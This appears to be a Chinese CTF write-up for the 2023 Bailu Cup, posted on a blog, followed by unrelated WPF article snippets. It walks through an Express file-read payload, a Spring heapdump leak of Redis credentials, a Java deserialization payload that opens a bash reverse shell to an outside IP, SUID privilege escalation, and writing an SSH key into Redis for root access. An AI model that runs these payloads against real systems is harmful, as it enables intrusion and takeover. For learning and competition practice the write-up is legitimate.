首页 > 其他分享 >网信柏鹭杯2023 wp

网信柏鹭杯2023 wp

时间:2023-10-11 18:14:51浏览次数:29  
标签:spring redis 柏鹭杯 网信 ssh file wp txt root

express fs

?file[href]=a&file[origin]=1&file[protocol]=file:&file[hostname]=&file[pathname]=/home/node/fl%2561g.txt

综合题5、6、7

spring heapdump泄露信息

sun.java.command = /app/demo.jar --spring.config.location=/usr/local/share/application.properties

application.properties有redis信息的泄露

server.port=18080
server.servlet.context-path=/
management.endpoints.web.exposure.include=heapdump
spring.redis.host=172.25.0.10
spring.redis.port=62341
spring.redis.password=de17cb1cfa1a8e8011f027b416775c6a
spring.servlet.multipart.max-file-size=10MB

读取jar包
image
发现flag1

from base64 import b64decode
O0O = b"6925cc02789c1d2552b71acc4a2d48fd"
encFlag = "UFVTUhgqY3d0FQxRVFcHBlQLVwdSVlZRVlJWBwxeVgAHWgsBWgUAAQEJRA=="
raw=b64decode(encFlag)
l=32
for i in range(43):
    c=raw[i]
    o=i%(32)
    b=O0O[o]
    r=chr(c^b)
    print(r,end="")

获得flag1
image
反序列化漏洞

        Ping p =new Ping();
        p.setCommand("bash");
        p.setArg1("-c");
        p.setArg2("bash -i >& /dev/tcp/39.101.70.33/2345 0>&1");
        ByteArrayOutputStream bos=new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(p);
        String res=Base64.getEncoder().encodeToString(bos.toByteArray());
        System.out.println(res);

反弹shell,发现app/Upload/hint.txt flag2在/root/flag2

find / -perm -u=s -type f 2>/dev/null

dig -f /root/flag2

frp开代理
redis写ssh公钥

cd ~/.ssh
ssh-keygen
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > temp.txt
cat temp.txt|redis-cli -h 172.25.0.10 -p 62341 -a de17cb1cfa1a8e8011f027b416775c6a -x set key
redis-cli -h 172.25.0.10 -p 62341 -a de17cb1cfa1a8e8011f027b416775c6a
>CONFIG SET dir /root/.ssh
>CONFIG SET dbfilename authorized_keys
>save
ssh -i id_rsa [email protected]

拿到flag3

标签:spring,redis,柏鹭杯,网信,ssh,file,wp,txt,root
From: https://www.cnblogs.com/V3g3t4ble/p/17757854.html

相关文章

  • WPF椭圆弧形弧线控件
    usingSystem;usingSystem.Windows;usingSystem.Windows.Media;usingSystem.Windows.Shapes;namespaceWpfApp2.Controls{publicclassArc:Shape{Size_size=Size.Empty;protectedoverrideGeometryDefiningGeometry{......
  • 界面组件DevExpress WPF v23.1 - 进一步升级数据处理能力
    DevExpressWPF拥有120+个控件和库,将帮助您交付满足甚至超出企业需求的高性能业务应用程序。通过DevExpressWPF能创建有着强大互动功能的XAML基础应用程序,这些应用程序专注于当代客户的需求和构建未来新一代支持触摸的解决方案。无论是Office办公软件的衍伸产品,还是以数据为中心......
  • dotnet 8 WPF 支持在 RDP 远程桌面状态下启用渲染硬件加速
    本文将和大家介绍在dotnet8里WPF引入的新功能之一,在RDP远程桌面状态下启用渲染硬件加速在dotnet8之前,在用户进行RDP远程桌面时WPF应用将默认关闭硬件渲染加速以获得更好的兼容性。随着系统层的渲染架构的优化,比如在WDDM驱动模型里面,进行远程桌面的硬件加速已经是......
  • 虚拟桌宠模拟器:VPet-Simulator,一个开源的桌宠软件, 可以内置到任何WPF应用程序
    虚拟桌宠模拟器:VPet-Simulator,一个开源的桌宠软件,可以内置到任何WPF应用程序虚拟桌宠模拟器一个开源的桌宠软件,可以内置到任何WPF应用程序获取虚拟桌宠模拟器OnSteam(免费)或通过Nuget内置到你的WPF应用程序1.虚拟桌宠模拟器详细介绍虚拟桌宠模拟器是一款桌宠软件,......
  • wpf翻页
    xaml<ButtonFontSize="16"Margin="10,0"Style="{StaticResourceButtonPrimary}"Content="搜索"Click="SearchClick"Height="35"></Button><StackPanelGrid.Row="2"Horizon......
  • WPF之自己退出
    二、WPF退出窗口方法 1、强制退出,即使有其他的线程没有结束Environment.Exit(0);2、关闭当前程序,如果有其他线程没有结束,不会关闭System.Windows.Application.Current.Shutdown();3、强制终止当前进程,不仅关闭应用程序,还会关闭所有子进程System.Diagnostics.Process.GetCurr......
  • [办公自动化]信创之WPS演示02
    WPS演示在图片处理时具备布尔运算功能。这个功能可以使你的图片更酷炫。当然你也可以用它来制作酷酷的文字。示例图片:  我们先找到一张北极熊的图片,然后在上面输入“可爱的北极熊”,调整字体为方正舒体80号字。 关键步骤来了先选中北极熊的图片,然后选择文本框(如果你......
  • 使用postcss-px-to-viewport实现兼容
    为提高页面的兼容性,可使用postcss-px-to-viewport。1.安装依赖"postcss-px-to-viewport":"^1.1.1"2.在vite.config.js导入importpostcssPxToViewportfrom'postcss-px-to-viewport';3.增加css配置,示例如下returndefineConfig({plugins:[vue(),buildTi......
  • 界面控件DevExpress WPF地图组件,助力轻松搭建自己的地图数据服务器!
    DevExpressWPF Map控件允许用户在WPF应用程序中合并所有流行的地图服务,如Bing或OpenStreetMap。您还可以在公司网络中创建自己的地图数据服务器,Map组件完全支持矢量和笛卡尔坐标地图,以及Bing地理代码、搜索、路线和海拔服务。P.S:DevExpressWPF拥有120+个控件和库,将帮助您交付......
  • 【WPF】单例软件实现自重启
    原文地址https://www.cnblogs.com/younShieh/p/17749694.html❤如果本文对你有所帮助,不妨点个关注和推荐呀,这是对笔者最大的支持~❤ 在WPF应用程序中,想要实现软件重启,可以再Start一次该软件的exe程序。但是有些时候我们想要这个程序是唯一运行的单例,而不是可以多开的程序。......